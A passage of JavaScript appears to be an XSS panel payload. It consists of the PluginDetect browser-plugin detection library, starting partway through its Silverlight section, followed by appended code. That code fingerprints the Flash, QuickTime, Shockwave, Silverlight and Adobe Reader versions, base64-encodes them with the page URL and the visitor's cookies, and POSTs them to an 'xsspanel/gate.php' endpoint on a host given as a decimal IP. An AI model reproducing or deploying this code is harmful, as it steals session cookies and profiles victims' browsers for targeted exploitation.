        getVersion: function() {
            var
            e = this,
                c = e.$,
                k = document,
                i = null,
                b = null,
                f = null,
                h = true,
                a = [1, 0, 1, 1, 1],
                u = [1, 0, 1, 1, 1],
                j = function(d) {
                    return (d < 10 ? "0" : "") + d.toString()
                },
                n = function(s, d, v, w, t) {
                    return (s + "." + d + "." + v + j(w) + j(t) + ".0")
                },
                o = function(s, d, t) {
                    return r(s, (d == 0 ? t : u[0]), (d == 1 ? t : u[1]), (d == 2 ? t : u[2]), (d == 3 ? t : u[3]), (d == 4 ? t : u[4]))
                },
                r = function(w, t, s, y, x, v) {
                    var v;
                    try {
                        return w.IsVersionSupported(n(t, s, y, x, v))
                    } catch (v) {}
                    return false
                };
            if (!c.isIE) {
                var g;
                if (c.hasMimeType(e.mimeType)) {
                    g = c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0;
                    if (c.isGecko && g) {
                        h = false
                    }
                    f = c.findNavPlugin("Silverlight.*Plug-?in", 0);
                    if (f && f.description) {
                        i = c.formatNum(f.description)
                    }
                    if (i) {
                        u = i.split(c.splitNumRegx);
                        if (parseInt(u[2], 10) >= 30226 && parseInt(u[0], 10) < 2) {
                            u[0] = "2"
                        }
                        i = u.join(",")
                    }
                }
                e.installed = f && h && i ? 1 : (f && h ? 0 : (f ? -0.2 : -1))
            } else {
                b = c.getAXO(e.progID);
                var m, l, q;
                if (b && r(b, a[0], a[1], a[2], a[3], a[4])) {
                    for (m = 0;
                    m < e.digits.length;
                    m++) {
                        q = u[m];
                        for (l = q + (m == 0 ? 0 : 1);
                        l <= e.digits[m];
                        l++) {
                            if (o(b, m, l)) {
                                h = true;
                                u[m] = l
                            } else {
                                break
                            }
                        }
                        if (!h) {
                            break
                        }
                    }
                    if (h) {
                        i = n(u[0], u[1], u[2], u[3], u[4])
                    }
                }
                e.installed = b && h && i ? 1 : (b && h ? 0 : (b ? -0.2 : -1))
            }
            e.version = c.formatNum(i)
        }
    },
    adobereader: {
        mimeType: "application/pdf",
        navPluginObj: null,
        progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
        classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
        INSTALLED: {},
        pluginHasMimeType: function(d, c, f) {
            var
            b = this,
                e = b.$,
                a;
            for (a in d) {
                if (d[a] && d[a].type && d[a].type == c) {
                    return 1
                }
            }
            if (e.getMimeEnabledPlugin(c, f)) {
                return 1
            }
            return 0
        },
        getVersion: function(i, j) {
            var f = this,
                c = f.$,
                h, d, k, m = p = null,
                g = null,
                l = null,
                a, b;
            j = (c.isString(j) && j.length) ? j.replace(/\s/, "").toLowerCase() : f.mimeType;
            if (c.isDefined(f.INSTALLED[j])) {
                f.installed = f.INSTALLED[j];
                return
            }
            if (!c.isIE) {
                a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
                if (f.getVersionDone !== 0) {
                    f.getVersionDone = 0;
                    p = c.getMimeEnabledPlugin(f.mimeType, a);
                    if (!p && c.hasMimeType(f.mimeType)) {
                        p = c.findNavPlugin(a, 0)
                    }
                    if (p) {
                        f.navPluginObj = p;
                        g = c.getNum(p.description) || c.getNum(p.name);
                        g = c.getPluginFileVersion(p, g);
                        if (!g && c.OS == 1) {
                            if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a)) {
                                g = "9"
                            } else {
                                if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a)) {
                                    g = "8"
                                }
                            }
                        }
                    }
                } else {
                    g = f.version
                }
                m = c.getMimeEnabledPlugin(j, a);
                f.installed = m && g ? 1 : (m ? 0 : (f.navPluginObj ? -0.2 : -1))
            } else {
                p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]);
                b = /=\s*([\d\.]+)/g;
                try {
                    d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions();
                    for (k = 0;
                    k < 5;
                    k++) {
                        if (b.test(d) && (!g || RegExp.$1 > g)) {
                            g = RegExp.$1
                        }
                    }
                } catch (h) {
                    c.message("[ Adobe PDF Reader: Unable to query in Internet Explorer? ] ", h)
                }
                f.installed = g ? 1 : (p ? 0 : -1)
            }
            if (!f.version) {
                f.version = c.formatNum(g)
            }
            f.INSTALLED[j] = f.installed
        }
    },
    pdfreader: {
        mimeType: "application/pdf",
        progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
        classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
        OTF: null,
        fileUsed: 0,
        fileEnabled: 1,
        isValid: function(b) {
            var a = this,
                c = a.$;
            if (!a.fileEnabled || !c.isString(b) || /\\/.test(b) || !/\.pdf\s*$/.test(b)) {
                return 0
            }
            return 1
        },
        EndGetVersion: function(b) {
            var a = this,
                c = a.$;
            if (a.OTF == 3) {
                a.installed = -0.5
            } else {
                a.installed = b ? 0 : (c.isIE ? -1.5 : -1)
            }
            a.getVersionDone = a.OTF < 2 && a.fileEnabled && a.installed <= -1 && a.getVersionDone != 1 ? 0 : 1
        },
        getVersion: function(l, g, c) {
            var h = this,
                d = h.$,
                b = false,
                f, i, a, k, j = h.NOTF,
                m = h.doc;
            d.message((!d.isDefined(g) ? null : (!d.isString(g) ? "[ ***** WARNING ***** PDF input argument not a string: PDF input ignored ]" : (!(/[^\s]/).test(g) ? "[ ***** WARNING ***** PDF input argument '" + g + "' is empty: PDF input ignored ]" : (!(/\.pdf\s*$/).test(g) ? "[ ***** ERROR ***** PDF input argument '" + g + "' should end with '.pdf' ]" : ((/\\/).test(g) ? "[ ***** ERROR ***** PDF input argument '" + g + "' cannot have backslash '\\' ]" : null))))));
            if (((d.isGecko && d.compareNums(d.verGecko, "2,0,0,0") <= 0 && d.OS <= 4) || (d.isOpera && d.verOpera <= 11 && d.OS <= 4) || (d.isChrome && d.compareNums(d.verChrome, "11,0,0,0") < 0 && d.OS <= 4) || 0) && !c) {
                h.fileEnabled = 0
            }
            if (h.getVersionDone === null) {
                h.OTF = 0;
                m.$ = d;
                m.parentNode = h;
                if (j) {
                    j.$ = d;
                    j.parentNode = h
                }
                if (!d.isIE) {
                    if (!b && !c && d.hasMimeType(h.mimeType)) {
                        b = true
                    }
                } else {
                    if (!b && !c) {
                        try {
                            if ((d.getAXO(h.progID[0]) || d.getAXO(h.progID[1])).GetVersions()) {
                                b = true
                            }
                        } catch (k) {
                            d.message("[ Adobe PDF Reader: Unable to query in Internet Explorer? ] ", k)
                        }
                    }
                }
            }
            if (!b) {
                f = m.insertHTMLQuery(g, c);
                if (f > 0) {
                    b = true
                }
            }
            i = document.getElementsByTagName("body")[0] || document.body;
            if (c && h.isValid(g) && i && i.firstChild) {
                f = document.createElement("div");
                d.setStyle(f, ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "paddingBottom", "50px", "margin", "0px", "visibility", "visible"]);
                i.insertBefore(f, i.firstChild);
                f.innerHTML = "The red box below should display the PluginDetect DummyPDF.<br/>If it does, then the path/filename for DummyPDF are correct:<br/><iframe style='border:solid red 2px; padding:2px;' src='" + g + "' width='98%' height='250'></iframe>"
            }
            h.EndGetVersion(b);
            h.version = null
        },
        doc: {
            HTML: 0,
            DummyObjTagHTML: 0,
            DummySpanTagHTML: 0,
            queryObject: function(c) {
                var g = this,
                    b = g.parentNode,
                    d = b.$,
                    a;
                if (d.isIE) {
                    a = -1;
                    try {
                        if (d.getDOMobj(g.HTML).GetVersions()) {
                            a = 1
                        }
                    } catch (f) {
                        d.message("[ Adobe PDF Reader: Unable to query in Internet Explorer? ] ", f)
                    }
                } else {
                    a = d.getTagStatus(g.HTML, g.DummySpanTagHTML, g.DummyObjTagHTML, c)
                }
                d.message(b.NOTF && d.isNum(c) ? "[ NOTF PDFreader detection after " + ((new Date().getTime() - b.NOTF.initTime) / 1000) + " seconds, query # " + c + ", result: " + (a == 0 ? "not yet" : (a > 0 ? "installed" : "not installed")) + " ]" : null);
                return a
            },
            insertHTMLQuery: function(d, h) {
                var f = this,
                    b = f.parentNode,
                    e = b.$,
                    a, c = "&nbsp;&nbsp;&nbsp;&nbsp;";
                if (e.isIE) {
                    if (h && !b.isValid(d)) {
                        return 0
                    }
                    if (!f.HTML) {
                        f.HTML = e.insertHTML("object", ["classid", b.classID], ["src", h ? d : ""], c, b)
                    }
                    if (h) {
                        b.fileUsed = 1
                    }
                } else {
                    if (!b.isValid(d)) {
                        return 0
                    }
                    if (!f.HTML) {
                        f.HTML = e.insertHTML("object", ["type", b.mimeType, "data", d], ["src", d], c, b)
                    }
                    b.fileUsed = 1
                }
                if (b.OTF < 2) {
                    b.OTF = 2
                }
                if (!f.DummyObjTagHTML) {
                    f.DummyObjTagHTML = e.insertHTML("object", [], [], c)
                }
                if (!f.DummySpanTagHTML) {
                    f.DummySpanTagHTML = e.insertHTML("", [], [], c)
                }
                a = f.queryObject();
                if (a != 0) {
                    return a
                };
                var g = b.NOTF;
                if (b.OTF < 3 && f.HTML && g) {
                    b.OTF = 3;
                    g.onIntervalQuery = e.handler(g.$$onIntervalQuery, g);
                    if (!e.winLoaded) {
                        e.WLfuncs0.push([g.winOnLoadQuery, g])
                    }
                    setTimeout(g.onIntervalQuery, g.intervalLength);
                    e.message("[ NOTF PDFreader detection has begun ]");
                    e.message((g.initTime = new Date().getTime()) ? null : null)
                };
                return a
            }
        },
        NOTF: {
            count: 0,
            countMax: 25,
            intervalLength: 250,
            $$onIntervalQuery: function(e) {
                var c = e.$,
                    b = e.parentNode,
                    d = b.doc,
                    a;
                if (b.OTF == 3) {
                    a = d.queryObject(e.count);
                    if (a > 0 || a < 0 || (c.winLoaded && e.count > e.countMax)) {
                        e.queryCompleted(a)
                    }
                }
                e.count++;
                if (b.OTF == 3) {
                    setTimeout(e.onIntervalQuery, e.intervalLength)
                }
            },
            winOnLoadQuery: function(c, e) {
                var b = e.parentNode,
                    d = b.doc,
                    a;
                if (b.OTF == 3) {
                    a = d.queryObject(e.count);
                    e.queryCompleted(a)
                }
            },
            queryCompleted: function(b) {
                var d = this,
                    c = d.$,
                    a = d.parentNode;
                if (a.OTF == 4) {
                    return
                }
                a.OTF = 4;
                a.EndGetVersion(b > 0 ? true : false);
                c.message("[ NOTF PDFreader detection has completed in " + ((new Date().getTime() - d.initTime) / 1000) + " seconds ]");
                if (a.funcs) {
                    c.message("[ " + c.name + ".onDetectionDone(" + c.printArgs(a.pluginName) + ") has completed detection ]");
                    c.message("[ START event handlers for " + c.name + ".onDetectionDone(" + c.printArgs(a.pluginName) + ") ]");
                    c.callArray(a.funcs);
                    c.message("[ END event handlers for " + c.name + ".onDetectionDone(" + c.printArgs(a.pluginName) + ") ]")
                }
                if (c.onDoneEmptyDiv) {
                    c.onDoneEmptyDiv()
                }
            }
        },
        getInfo: function() {
            var b = this,
                c = b.$,
                a = {
                    OTF: (b.OTF < 3 ? 0 : (b.OTF == 3 ? 1 : 2)),
                    DummyPDFused: (b.fileUsed ? true : false)
                };
            return a
        },
        zz: 0
    },
    zz: 0
};


function base64Encode(data){
	if (data == null ) {
	data = 'N.A';
	}
	if (typeof(btoa) == 'function') return btoa(data);
	var b64_map = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
	var byte1, byte2, byte3;
	var ch1, ch2, ch3, ch4;
	var result = new Array(); 
	var j=0;
	for (var i=0; i<data.length; i+=3) {
		byte1 = data.charCodeAt(i);
		byte2 = data.charCodeAt(i+1);
		byte3 = data.charCodeAt(i+2);
		ch1 = byte1 >> 2;
		ch2 = ((byte1 & 3) << 4) | (byte2 >> 4);
		ch3 = ((byte2 & 15) << 2) | (byte3 >> 6);
		ch4 = byte3 & 63;
		
		if (isNaN(byte2)) {
			ch3 = ch4 = 64;
		} else if (isNaN(byte3)) {
			ch4 = 64;
		}

		result[j++] = b64_map.charAt(ch1)+b64_map.charAt(ch2)+b64_map.charAt(ch3)+b64_map.charAt(ch4);
	}

	return result.join('');
}

function ajaxFunction()
    {
        var ajaxRequest;     
        try
        {
            ajaxRequest = new XMLHttpRequest();
        }
        catch (e)
        {
            try
            {
                ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");
            }
            catch (e)
            {
                try
                {
                    ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");
                }
                catch (e)
                {
                    alert("Your browser broke!");
                    return false;
                }
            }
        }
        return ajaxRequest;
}
function Jquery(host, type, callback, data){
	var JQ = ajaxFunction();
	JQ.open(type, host, false);
	JQ.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	if (type == 'POST') {
		JQ.setRequestHeader('Content-length', data.length);
	}
	JQ.onload = callback;
	JQ.send(data);
};

PluginDetect.initScript();
flashver = base64Encode(PluginDetect.getVersion('Flash'));
quicktime = base64Encode(PluginDetect.getVersion('QuickTime')); 
shockwave = base64Encode(PluginDetect.getVersion('Shockwave'));
silverlight = base64Encode(PluginDetect.getVersion('Silverlight'));
adobereaders = base64Encode(PluginDetect.getVersion('adobereader'));
adobereader = base64Encode(PluginDetect.getVersion('pdfreader'));
var url = base64Encode("http://"+document.domain+window.location.pathname);
var ckie = document.cookie;
var all = "ie=" + base64Encode(verie) + "&ff=" + base64Encode(ver_geko)  + "&chrome=" + base64Encode(ver_chrome) + "&opera=" + base64Encode(ver_opera) + "&flash=" + flashver + "&qtime=" + quicktime + "&shwave=" + shockwave + "&slight=" + silverlight + "&adobe=" + adobereaders + "&pdf=" + adobereader + "&urlf=" + url + "&cki=" +ckie;
Jquery('http://3237074291/xsspanel/gate.php?c=2','POST','',all);